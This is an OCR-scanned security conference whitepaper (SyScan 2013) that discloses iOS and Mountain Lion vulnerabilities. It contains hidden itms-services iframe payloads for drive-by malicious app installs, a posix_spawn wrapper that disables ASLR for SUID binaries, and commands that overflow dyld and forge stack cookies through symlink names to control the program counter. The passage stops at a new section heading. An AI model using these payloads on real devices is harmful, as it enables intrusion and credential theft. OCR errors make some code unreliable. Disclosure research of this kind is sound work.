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Introduction

Within this paper we will document all the 0-day vulnerabilities we disclosed during our
talk at SyScan 2013. These vulnerabilities cover different areas of the Mountain Lion and
i0S ecosystem, starting with simple Ul vulnerabilities in the i0S Enterprise Deployment
process, over dangerous features of posix_spawn() in regard to SUID binaries, over user
space vulnerabilities in the dynamic linker used by Mountain Lion and iOS to a weakness
in the user space stack canary implementation that renders it completely useless against
local attacks.

After a discussion of all these user space attacks we will switch focus to the kernel and
disclose three information leak vulnerabilities and one memory corruption that could be
used for developing an iPad only jailbreak.

If you find this paper on the official SyScan 2013 conference CD you should check the
following URL for possible revised and updated versions of the paper:
http://antidOte.com/SyScan2013/

Weakness in the iOS Enterprise Deployment Process
Companies enrolled in the i0S Enterprise certification get
a signing certificate that allows installing applications on
any iDevice remotely, as long the device owner accepts
the installation of said application and answers yes to a
dialog that pops up the first time this application is
executed on the device. Unlike the normal iOS developer
program this is not limited to 100 devices and it does not =
require prior knowledge of the device’s UUID. For .
enterprises that need to install applications to their
employees iDevices this is a very convenient way of
distribution, because it requires the employee to just visit
a website that contains specific links.

vor)

www.apple.com would like to
install “i0S 6.1.3 Jailbreak”

This enterprise deployment process does however not
require that website deploying applications are SSL
encrypted, which makes it vulnerable to drive-by
enterprise deployment installation attempts. Therefore
one should not be surprised, if while surfing a public WiFi
at an airport, a hotel or inside one’s favorite coffee shop, a
dialog like the one in the photo pops up.




As you can see from the photo a warning is shown that the website WWWw.APPLE.COM just
attempted to install an application called “10S 6.1.3 JAILBREAK”. It should be obvious
that the Apple servers seem to be a trusted source for every Apple user and therefore a
user might accept the installation without thinking twice about it. But how is that
possible? In order to understand what triggers the dialog in question we have to look
into how the iOS enterprise deployment usually works. In our example we injected an
invisible iframe into the HTTP website that was currently displayed by mobile safari:

<iframe

src="itms-services://?action=download-manifest
url=http://www.apple.com/jailbreak.plist"

style="display:none;"
height="0"
width="0"
tabindex="-1"
title="empty" >

</iframe>

As you can see the invisible iframe just points to a special kind of URI scheme:
itms-services. This URI scheme is used for remote iOS enterprise deployment. It allows
specifying an action, which is for our purposes always DOWNLOAD-MANIFEST and an URL
from where the manifest is downloaded. As you can see in our example we have chosen
to point the manifest URL to a JAILBREAK.PLIST file on the Apple servers. Of course in
reality this file does not exist on the real Apple server, but for the current experiment we
are still assuming a public WLAN network. It is therefore very easy to perform HTTP or
DNS man-in-the-middle attacks.

Now lets look into the JAILBREAK.PLIST file that we serve the iDevice when it requests it:

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertylList-1.0.dtd">
<plist version="1.0">
<dict>
<key>items</key>
<array>
<dict>
<key>assets</key>
<array>
<dict>
<key>kind</key>
<string>software-package</string>
<key>url</key>
<string>http://antidO@te.com/inyourdreams/Jailbreak.ipa</string>
</dict>
</array>
<key>metadata</key>
<dict>
<key>bundle-identifier</key>
<string>com.sektioneins.Jailbreak</string>
<key>bundle-version</key>
<string>20.0</string>
<key>kind</key>
<string>software</string>
<key>subtitle</key>
<string>mobile</string>
<key>title</key>
<string>i0S 6.1.3 Jailbreak</string>
</dict>




As you can see the PLIST defines a number of properties about the software to be
installed on the iDevice. This includes the name shown inside the installation dialog “i0S
6.1.3 Jailbreak”, its version and bundle-identifier. But it also defines the URL to the
actual .IPA file that contains the enterprise application. In our example this URL points
to ANTIDOTE.COM a server name that will never be shown to the user. The user will only
see the server name of the server that provides the PLIST. It should be obvious that any
web application that allows users to upload and later download XML files to and from a
server can be put into the text of an installation dialog by uploading a PLIST and
referencing it from there - no man in the middle attack required for this.

However the fact that open WLAN networks are an insecure source for software should
be obvious even to inexperienced users and therefore we do not consider this problem
severe. However during our test we realized that the i0S enterprise deployment dialog
has an even bigger problem that can be used to launch the same kind of attack against
any user in his own network (WLAN, 3G/4G) as long he visits a website that has the a
malicious iframe injected. Just have a look at the following iframe:

<iframe src="itms-services://?action=download-manifest
url=http://www.apple.com/openredirect?url%s3dhttp://antid@te.com/jailbreak.plist"
style="display:none;"
height="0"
width="0"
tabindex="-1"
title="empty" >
</iframe>

This injected iframe looks very similar to the previous one. However we changed the
URL to show the actual vulnerability: The DOWNLOAD-MANIFEST action follows HTTP
redirects, but show the server name of the original URL in the installation dialog, not the
name of the server that it was redirected to. This mean that if the Apple server contains
an open redirect vulnerability, we can use this to redirect to a manifest PLIST file on any
server, but still get the dialog saying that Www.APPLE.COM wants to install the software.
Previous to writing this whitepaper we had such a vulnerability on STORE.APPLE.COM,
however Apple recently fixed this problem and therefore we cannot demonstrate it with
an APPLE.COM domain anymore.

However even if a user clicks the “Install” button of the enterprise deployment dialog
this does not result in immediate remote code execution on the device. Instead the
application is simply downloaded and waits for the user to open it manually. If a user
clicks such an application that was just downloaded to the device on a fresh iDevice then
he will be presented with a second warning dialog that will say something like:

“Are You Sure You Want to Open the Application “iOS 6.1.3
Jailbreak” from the Developer “iPhone Distribution:
SektionEins GmbH"?"”

This warning dialog clearly tells the user what certificate was used to sign the binary.
This might scare a user away and he might just delete the application instead of allowing
it to run. However if a user accepts this dialog this means that from this moment all
future downloads signed by this development certificate will not trigger the second
download warning. And while a user might be a bit suspicious about an app he just



downloaded and never used before there is an additional
problem here that might trick users into allowing the
malicious application to run. The idea behind this attack
is to specify a BUNDLE-IDENTIFIER and name inside the
Application that represents an already existing
application. If e.g. we attempt to overwrite the Facebook
application with our app, this will replace the application

behind the Facebook icon on the iDevice’s springboard. If T

the user will then try to run Facebook the next time, he | Bt
will be presented with the second warning message, as e ——

you can see in the photo.

In case the user is tricked by the malicious resigned
Facebook application and executes it, it will ask again for
the Facebook login credentials, because by being resigned
with our enterprise cert it will lose access to the key chain
elements stored by the original application.

However from this moment all further malicious applications from “SektionEins GmbH”
will not trigger the “Are You Sure You Want to Open” warning anymore. This might be a
problem if the DOWNLOAD-MANIFEST contained multiple applications instead of only one.

posix_spawn() Insecure Flag Handling for SUID Binaries

The easies way to describe POSIX_SPAWN is to call it a more powerful EXECVE system call
that does not only allow to execute binaries, but automatically spawn them in a new
separate process, combined with the possibility to use set some flags that control how
the other binary is started, if it starts e.g. with specific open file-descriptors or mach-
ports or what architecture inside a universal binary should be executed. While this is a
very short summary of this syscall it is sufficient for our purposes and if you interested
in more details feel free to consult the man-page of POSIX_SPAWN.

When you look at the flags that can be given to POSIX_SPAWN there are two flags that can
impact the security of an executed binary. These flags are:

_POSIX_SPAWN_DISABLE_ASLR
_POSTIX_SPAWN_ALLOW_DATA_EXEC

The first of these flags will disable ASLR inside the executed process and the second flag
will allow heap data to be executable on architectures that support it (e.g.i386). It
should be obvious that both these feature have the possibility to greatly impact the
security of an executed process. One would therefore expect these features to not work
with SUID binaries. However if you try it out you will realize that there is no protection
inside the XNU kernel that disallows using these flags with SUID binaries. To show this
we have prepared a small sample SUID binary:

#include <stdio.h>

volatile int testfunc()

{
return 31337;

b



int main()

{
char xheapbuffer = malloc(1024);
int (xf)();
printf("getuid() = %u\n", getuid());
printf("geteuid() = %u\n", geteuid());
printf("&main = %p\n", main);
printf("heapbuffer = %p\n", heapbuffer);

printf("Attempting heap execution\n");
memcpy (heapbuffer, testfunc, 100);
f = heapbuffer;
if (f() == 31337) {
printf("executed on heap\n");

We will compile this binary as i386 binary because otherwise the heap execution bypass
cannot work. This is achieved with the following line:

$ gcc —arch 1386 -0 mysuid mysuid.c

mysuid.c: In function ‘main’:

mysuid.c:10: warning: incompatible implicit declaration of built-in function
‘malloc’

mysuid.c:18: warning: incompatible implicit declaration of built-in function
‘memcpy’

mysuid.c:19: warning: assignment from incompatible pointer type

$ sudo chown 0:0 mysuid

$ sudo chmod 4555 mysuid

Once the suid is in place we can execute it 3 times in a row to see if ASLR is activated and
if heap execution is allowed or not.

$ ./mysuid

getuid() = 501

geteuid() = 0

&main = Oxfadfo
heapbuffer = 0x79a88a00
Attempting heap execution
Bus error: 10

$ ./mysuid

getuid() = 501

geteuid() = 0

&main = 0x7df0

heapbuffer = 0x79062c00
Attempting heap execution
Bus error: 10

$ ./mysuid

getuid() = 501

geteuid() = 0

&main = 0xa9dfo
heapbuffer = 0x72968600
Attempting heap execution
Bus error: 10

As you can see the binary is indeed a SUID root binary and on each execution the main
function and the heapbuffer are both randomized due to ASLR. You can also see that the
process crashes when an attempt is made to execute the code copied into the
heapbuffer.



Now we can analyze the impact PoSIX_SPAWN and flags have on this SUID binary. For this
we have created a simple wrapper that will execute the SUID binary with both flags
being set:

#include <spawn.h>
#include <unistd.h>

#define _POSIX_SPAWN_DISABLE_ASLR 0x0100
#define _POSIX_SPAWN_ALLOW_DATA_EXEC 0x2000

int main()
{

posix_spawnattr_t attr;

posix_spawnattr_init(&attr);
posix_spawnattr_setflags(&attr,
_POSIX_SPAWN_DISABLE_ASLR|_POSIX_SPAWN_ALLOW_DATA_EXEC);

posix_spawn(NULL, "./mysuid", NULL, &attr, NULL, NULL);
sleep(3);
}

And now we can do the same experiment to execute the binary three times again, but
this time through the wrapper:

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x1df0

heapbuffer = 0x97c600
Attempting heap execution
executed on heap

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x1dfo

heapbuffer = 0xaf2200
Attempting heap execution
executed on heap

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x1df0

heapbuffer = 0xa26400
Attempting heap execution
executed on heap

The important thing about this run is that you can see it is still executed with SUID bit
permissions and that the address of the main function is not randomized. However you
can see that the heapbuffer is always in a different position. This is quite an interesting
observation because it seems that the heap is still randomized beside ASLR being
disabled.

Now we recompile our SUID as x86_64 binary with the following lines:

$ gcc —o mysuid mysuid.c

mysuid.c: In function ‘main’:

mysuid.c:10: warning: incompatible implicit declaration of built-in function
‘malloc’

mysuid.c:18: warning: incompatible implicit declaration of built-in function
‘memcpy’



mysuid.c:19: warning: assignment from incompatible pointer type
$ sudo chown 0:0 mysuid
$ sudo chmod 4555 mysuid

When we try our experiment again we see some interesting changes:

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x100000d60
heapbuffer = 0x100803200
Attempting heap execution

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x100000d60
heapbuffer = 0x100803200
Attempting heap execution

$ ./posix_spawn

getuid() = 501

geteuid() = 0

&main = 0x100000d60
heapbuffer = 0x100803200
Attempting heap execution

From this run we can see that clearly the heap execution failed as we expected. But we
can also see that ASLR was switched off. But this time it was not only switched off for the
binary but also for the location of the heap.

There are however a few other problems here that Apple cannot fix as easy as dropping
DISABLE_ASLR support from POSIX_SPAWN: First of all the SUID binary will load the
shared libraries to exactly the same position as the parent process. So even if the
position of the main binary and of the linker is not known, the libraries will always be in
the same position. Also the FORK syscall will inherit the disable ASLR flag. This means
even if POSIX_SPAWN ignores the disable ASLR flag when getting called, the program’s
disable ASLR flag will be set, if the non SUID parent already had it set.

dyld: openSharedCacheFile() Stack Buffer Overflow

During an audit of the source code of the dynamic linker it was discovered that a
standard stack based buffer overflow exists in the function responsible for opening a
shared cache file. This function is defined within /srRc/DYLD.cPP and looks like this:

int openSharedCacheFile()

{
char path[1024]1;
strcpy(path, sSharedCacheDir);
strcat(path, "/");
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);
return ::open(path, O_RDONLY);
¥

It should be obvious that depending on SSHAREDCACHEDIR a standard stack based buffer
overflow can be triggered. To understand if this is actually exploitable it is required to



check where this variable is coming from. A simple search will reveal the following
snippet of code that shows the SSHAREDCACHEDIR variable is actually copied from the
environment variable DYLD_SHARED_CACHE_DIR.

void processDyldEnvironmentVariable(const charx key, const charx value,
const charx mainExecutableDir)

{

else if ( strcmp(key, "DYLD_SHARED_CACHE_DIR") == 0 ) {
sSharedCacheDir = value;
¥

The nature of this stack buffer overflow makes it uninteresting for Mountain Lion,
because the dynamic linker will ignore this environment variable for SUID binaries.
However on i0S this kind of vulnerability is quite interesting, because it could be used as
part of an untethering exploit.

Under normal circumstances one would suspect that every modern binary comes with a
protection against this kind of vulnerabilities in the form of stack canaries. However
when you look at the DYLD binary as shipped with i0S 5.1.1 you will see that there are no
stack canaries. The following screenshot from IDA is proof of this:

- -, —— — - -~
12FE0206C

2FE0206C ; dyld::openSharedCacheFile(void) J
2FE0206C __ ZN4dyldl9openSharedCacheFileEv ; CODE XREF: dyld::mapShare
2FE0206C PUSH {R4,R7,LR}

FEO206E ADD R7, SP, #4

FE02070 SUB.W SP, SP, #0x400

FE02074 MOVW RO, #0x1EE

FE02078 MOV R4, SP

FE0207A MOVT.W RO, #2

FE0207E ADD RO, PC ; _ MergedGlobals

FE02080 LDR R1, [RO] ; char *

FE02082 MOV RO, R4 ; char *

FE02084 BLX _strcpy

FE02088 MOV RO, R4 ; char *

FE0208A BLX _strlen

FEO208E MOVS R1, #0x2F

FE02090 STRH R1, [R4,RO]

FE02092 MOV RO, R4 ; char *»

FE02094 BLX _strlen

FE02098 MOVW R1, #0xBACD

FE0209C ADD RO, R4 ; void »

FEO209E MOVT.W R1, #1

FEO20A2 MOVS R2, #0x18 ; size_ t

FEO20A4 ADD Rl, PC ; "dyld shared cache armv7

FEO20A6 BLX _memcpy

FEO20AA MOVS R1, #0 ; int

FEO20AC MOV RO, R4 ; char *

FEO20AE BLX open

FE020B2 ADD.W SP, SP, #0x400

FE020B6 POP {R4,R7,PC}

FE020B6 ; End of function dyld::openSharedCacheFile(void)

On i0S devices running iOS 5.1.1 it is therefore very easy to control the program counter
PC by doing something simple as:

DYLD_SHARED_CACHE_DIR = “A"” x 2000 \
DYLD_SHARED_REGION = private /bin/launchctl



This will produce the following crash dump:

Incident Identifier: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

CrashReporter Key: XXXXXXXXXHXXXXXXX XXX XX XXXXX XXX XXXXXX XXX XXXX
Hardware Model: iPad3,3

Process: launchctl [684]

Path: /bin/launchctl

Identifier: launchctl

Version: ?7?? (???)

Code Type: ARM (Native)

Parent Process: sh [681]

Date/Time: 2013-03-18 05:14:37.509 +0900

0S Version: iPhone 0S 5.1.1 (9B206)

Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x41414140
Highlighted Thread: @

Backtrace not available

Unknown thread crashed with ARM Thread State:

ro: oxffffffff rl: oxffffffff r2: 0x00000000 r3: 0x54485244
r4: 0x41414141 r5: Oxffffffff re: 0x2fe30a80 r7: 0x41414141
r8: 0x00000011 r9: 0x00000008 rlo: 0x00000001 rll: ox2fe5lac8
ip: 0x2fe3d615 sp: 0x2fe30a80 lr: 0x2fe3d61lf pc: 0x41414140

cpsr: 0x80000030

Binary Images:

0x35000 — 0x3ffff +launchctl armv7 <ba50dc4d143233a492b9c65853f1dlcf>
/bin/launchctl
0x2fe34000 — 0x2fe55fff dyld armv7 <77eddfd654df393ba9c95ff01715fd08>
/usr/1lib/dyld

As you can see from the crash dump we go instant control of the program counter. This
however changes if you have a look at i0S 6.0 and its dyld binary. The binary now comes
with stack canary protection as you can see in the IDA disassembly of the
OPENSHAREDCACHEDIR() function.



{2FE02DC8 ; dyld::openSharedCacheFile(void)

12FEO02DC8 __ ZN4dyldl9openSharedCacheFileEv ; CODE XREF: dyld::mapShare
12FE02DC8
FEO2DC8 var C = -0xC
FEO2DCS8
FEO02DCS8 PUSH {R4,R5,R7,LR}
FEO2DCA ADD R7, SP, #8
FEO2DCC SUB.W SP, SP, #0x400
FEO2DDO SUB SP, SP, #4
FEO2DD2 MOVW RO, #0xE234
FEO2DD6 MOV R4, SP
FEO2DDS8 MOVT.W RO, #1
FEO2DDC ADD RO, PC ; _ stack chk guard ptr
FEO2DDE LDR R5, [RO] ; __  stack_chk_guard
FEO2DEO MOV RO, #(__MergedGlobals - O0x2FEO2DEC)
FEO2DES ADD RO, PC ; _ MergedGlobals
FEO2DEA LDR R1, [R5]
FEO2DEC STR.W R1l, [R7,#var C]
FEO2DFO LDR R1l, [RO] ; char *
FEO2DF2 MOV RO, R4 ; char *
FEO2DF4 BL _strecpy
FEO2DF8 MOV RO, R4 ; char *
FEO2DFA BLX _strlen
FEO2DFE MOVS R1, #0x2F
FEO02EOQ0 STRH R1, [R4,RO]
FEO2EOQ2 MOV RO, R4 ; char *
FEO2EO4 BLX _strlen
FEO2EOS8 MOVW R1, #0x9EEF
FEO2EOQC ADD RO, R4 ; void *
FEO2EOQE MOVT.W R1, #1
FEO2E12 MOVS R2, #0x18 ; size_t
FEO2E1l4 ADD Rl, PC ; "dyld_shared_cache_armv7"
FEO2E1l6 BLX _memcpy
RO, R4 ; char *

We can verify that stack cookies are a trouble for our vulnerability by just trying the
same trick as before on an i0S 6.1.3 device and looking into the crash dump again.

Incident Identifier: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

CrashReporter Key: XXXXXXXXXHXXXXXXXX XXX XXXXX XXX XXXXXXXXXXXXXX
Hardware Model: iPod4,1

Process: launchctl [205]

Path: /bin/launchctl

Identifier: launchctl

Version: 77?7 (???)

Code Type: ARM (Native)

Parent Process: sh [203]

Date/Time: 2013-03-17 22:55:25.958 +0100

0S Version: i0S 6.1.3 (10B318)

Report Version: 104

Exception Type: EXC_BREAKPOINT (SIGTRAP)
Exception Codes: 0x0000000000000001, 0x00000000e7ffdefe
Crashed Thread: 0

Dyld Error Message:
stack buffer overrun
Dyld Version: 212.3.2

Binary Images:

0x2a000 - 0x33fff +launchctl armv7 <ba68ad27af343b46aa33bbc9a3333e8b>
/bin/launchctl
0x2feae000 — Ox2fecefff dyld armv7 <280610df5ed43ec7aa00629a27009302>
/usr/1lib/dyld



As you can see with stack canaries in place the exploit is not that easy anymore. The
dynamic linker cleary sees the stack buffer overrun and terminates. Some might even
say exploitation seems impossible because we won'’t be able to guess the 32bit secret
stack canary and it is too big to be brutforced in a short time. However why this is wrong
and why it is still easy to control of the program counter PC will become clearer once we
have shown the following vulnerability in the implementation of user-space stack
cookies in i0S and Mountain Lion.

Weak Implementation of User-Space Stack Cookies

When you look into the implementation of user-space stack cookies in i0S or Mountain
Lion you will realize that the actual value of the stack cookie is generated by the kernel’s
mach-o loader on every new execution. Responsible for this is the function
EXEC_ADD_APPLE_STRINGS which is defined in /BSD/KERN/KERN_EXEC.C of the XNU kernel
source code. This function is responsible for adding the so called Apple strings, which
are an Apple extension and similar to a kernel provided internal environment, to the
program. One of these strings is called STACK_GUARD and is created by the following
piece of code:

* Libc has an 8-element array set up for stack guard values. It only fills
* in one of those entries, and both gcc and llvm seem to use only a single
* 8-byte guard. Until somebody needs more than an 8-byte guard value, don't
* do the work to construct them.
*/

#define GUARD_VALUES 1

#define GUARD_KEY "stack_guard="

/%
* Supply libc with a collection of random values to use when
* implementing —-fstack-protector.
*/
(void)strlcpy(guard_vec, GUARD_KEY, sizeof (guard_vec));
for (i = 0; 1 < GUARD_VALUES; i++) {
random_hex_str(guard, sizeof (guard));
if (1)
(void)strlcat(guard_vec, ",", sizeof (guard_vec));
(void)strlcat(guard_vec, guard, sizeof (guard_vec));

b

error = exec_add_user_string(imgp, CAST_USER_ADDR_T(guard_vec), UIO_SYSSPACE,
FALSE);

The actual random cookie value is however generated in the function RANDOM_HEX_STR,
which is defined in the same file and produces a strong 64bit random number and
converts it into the form 0x0123456789ABCDEF, as you can see below:

static char x
random_hex_str(char *str, int len)
{
uint64_t low, high, value;
int idx;
char digit;
/* A 64-bit value will only take 16 characters, plus '@x' and NULL. x/

if (len > 19)
len = 19;



/* We need enough room for at least 1 digit */
if (len < 4)
return (NULL);

low = random();
high = random();
value = high << 32 | low;

strlol '0';
str[i] 'x';
for (idx = 2; idx < len - 1; idx++) {
digit = value & 0xf;
value = value >> 4;
if (digit < 10)
stridx] = '0' + digit;
else
strlidx] = 'a' + (digit - 10);

}
strlidx] = '\0';
return (str);

This means the actual string added to the Apple strings of the process is of the form:

stack_guard=0x0123456789abcdef

Once you have understood the kernel part of the user-space stack cookie
implementation it should be obvious that in user-space there will be some code that
finds this Apple string, parses the stack cookie value out of it and then uses it. To
understand this in more detail we will see how this is done inside the system’s libc and
in the dyld binary, which obviously must have its own implementation because it is
loaded before a libc library can be loaded. First you must know that Apple strings are
passed as a fourth parameter to the program’s MAIN() function and to optionally defined
MOD_INIT_FUNCTIONS. In case of dyld the stack cookie is initialized by a simple
MOD_INIT_FUNCTION called __GUARD_SETUP, which is defined in the dyld source at
/SRC/GLUE.C:

long __stack_chk_guard = 0;

static __attribute__((constructor))

void __guard_setup(int argc, const charx argv[], const charx envp[], const charx
?pple[])

for (const charkx p = apple; *p !'= NULL; ++p) {

if ( strncmp(*p, "stack_guard=", 12) == 0 ) {
// kernel has provide a random value for us
for (const charkx s = *xp + 12; *s != '\0'; ++s) {

char ¢ = %s;
long value = 0;
') & (c <= 'f') )

if ( (c >= 'a
value = ¢ 'a' + 10;
else if ( (c >= 'A') && (c <= 'F') )
value = ¢ - 'A' + 10;
else if ( (c >= '0") && (c <= '9") )
value = c - '0';
__stack_chk_guard <<= 4;
__stack_chk_guard |= value;
Y
if ( __stack_chk_guard != 0 )
return;



#if __LP64__
__stack_chk_guard

#else
__stack_chk_guard

#endif

}

((long)arc4random() << 32) | arc4random();

arc4random();

As you can see from this code it will scan through the supplied Apple strings and the
moment it finds one starting with STACK_GUARD= it will parse the stack cookie value and
writes it into its global variable __STACK_CHK_GUARD. In case it cannot find such an Apple
string or its value is zero, it will generate its own cookie instead. However with current
kernels this should only happen in 1 of 2#64 executions and has nothing todo with the
vulnerability we are about to describe. If you already know more about the Apple strings
and already have an idea what the problem is here, let us first have a look in the libc
implementation of user-space stack cookies, which is a bit more complicated but comes
down to the same logic. You can find the code responsible for initializing the stack
cookies inside libc’s source code at /sys/OPENBSD /STACK_PROTECTOR.C starting at
__GUARD_SETUP:

void
__qguard_setup(const char xapplel])

int fd;
size_t len;
const char *xxp;

if (__stack_chk_guard[0] '= 0)
return;

for (p = apple; p && *xp; p++) {
if (strstr(xp, "stack_guard") == xp) {
__qguard_from_kernel(xp);
if (__stack_chk_guard[0] !'= 0)
return;

b

fd = open ("/dev/urandom", 0);
if (fd !'= -1) {
len = read (fd, (charx)&__stack_chk_guard, sizeof(__stack_chk_guard));
close(fd);
if (len == sizeof(__stack_chk_guard) &&
*__stack_chk_guard != 0)
return;

b

/* If If a random generator can't be used, the protector switches the guard
to the "terminator canary" %/

((unsigned char x)__stack_chk_guard) [0] = 0;
((unsigned char x)__stack_chk_guard) [1] = 0;
((unsigned char x)__stack_chk_guard) [2] = '\n';
((unsigned char x)__stack_chk_guard) [3] = 255;

As you can see here the code again first parses the Apple strings for a string starting
with STACK_GUARD and tries to initialize the stack cookie from there. If this fails it has
two backup methods. First it tries filling the stack cookie from /DEV/URANDOM and if this
also fails it will initialize the stack cookie to 0x00 0x00 0x0A OXFF. Again on current
XNU kernels there is only a 1 in 2264 chance of the fallback code ever to be triggered,



which still would be no problem because the random number provided by
/DEV/URANDOM would be quite strong.

In order to visualize the problem arising from this implementation we have created the
small program APPLEDUMP that just dumps the Apple strings a program is called with,
followed by the value of libc’s stack cookie value:

extern long __stack_chk_guard[8];

int main(int argc, char skargv, char skxenvp, char sxkxapple)

{
int i;
for (i=0; applelil; i++) {
printf("string(su): %s\n", i, applelil);
}
printf("\n\n__stack_chk_guard: %0161x\n", x(long *)__stack_chk_guard);
}

When you execute this code on Mountain Lion the result will look a lot like this:

$ ./appledump

string(0): ./appledump

string(1):

string(2): stack_guard=0xel@7c4c6c220a716

string(3): malloc_entropy=0xd3be6df379835457,0x2fb40ad468b55ab0

__stack_chk_guard: el@7c4c6c220a716

As you can see from this output the value of __STACK_CHK_GUARD is exactly the same as
the one defined inside the Apple strings. Aside from this revelation your vulnerability
danger sense should ring in your ears right now. When you look at the very first Apple
string you can see that it is equal to the program’s call-path. Therefore it should be quite
obvious how this can be abused: Just make the program’s call-path start with the string
STACK_GUARD= and you control the string that is parsed by the stack cookie value user-
space code. Because of the differences in implementation dyld and libc need two
different kinds of attacks. Lets first trick libc:

$ mkdir stack_guard=0x4141414141414141
$ ln —sf ../appledump stack_guard\=0x4141414141414141/1ink

$ stack_guard\=0x4141414141414141/1link

string(0): stack_guard=0x4141414141414141/1ink

string(1):

string(2): stack_guard=0x66541e810bb59897

string(3): malloc_entropy=0xba5b080369f171f5,0xb7c2a063c14fcb25

__stack_chk_guard: 4141414141414141

This shows how we can replace the stack cookie used by libc without much trouble in a
local attack against a SUID binary on Mountain Lion or for exploiting programs on iOS
for untethering purposes.

Because the implementation of the STACK_GUARD parsing is a bit different in the dynamic
linker the trick must be changed a bit to work for dyld and the vulnerability described in



the previous chapter. We will therefore show you how to control PC on i0S 6.1.3 in this
next example:

$ mkdir stack_guard=
$ ln —sf /bin/launchctl stack_guard\=/4141414141414141

$
DYLD_SHARED_CACHE_DIR=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA DYLD_SHARED_REGION=private
stack_guard\=/4141414141414141

Segmentation fault: 11

As you can see here we did not get a Trap 5 as we would have gotten from the stack
canary protection. Instead we end with a segmentation fault. This is a good indicator
that we actually controlled PC. And the crash dump shows that we indeed did.

Incident Identifier: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

CrashReporter Key: XXXXXXKXXXXXKKXXXXKXKXXXXXKKXX XXX KKK XXX KXKXXXX
Hardware Model: iPod4,1

Process: 4141414141414141 [211]

Path: stack_guard=/4141414141414141

Identifier: 4141414141414141

Version: 7227 (?77)

Code Type: ARM (Native)

Parent Process: sh [203]

Date/Time: 2013-03-17 22:56:22.828 +0100

0S Version: i0S 6.1.3 (10B318)

Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x41414140
Highlighted Thread: @

Backtrace not available

Unknown thread crashed with ARM Thread State (32-bit):

ro: oxffffffff rl: 0x41414141 r2: 0x41414141 r3: 0x54485244
r4: 0x41414141 r5: 0x41414141 rée: 0x2fde5028 r7: 0x41414141
rg8: 0x2fe48f40 ro9: 0x00000000 rl0: 0x2fde7740 rll: 0x2fde7748
ip: 0@x2fe2eecl sp: 0x2fde5028 lr: 0x2fe2eecb pc: 0x41414140

cpsr: 0x60000030

Binary Images:
0x19000 - 0x22fff +4141414141414141 armv7 <bab8ad27af343b46aa33bbc9a3333e8b>
/var/root/stack_guard=/4141414141414141



0x2fe26000 — 0x2fed6fff dyld armv7 <280610df5ed43ec7aa00629a27009302>
/usr/1lib/dyld

Kernel Information Leak in pipe() Address Obfuscation

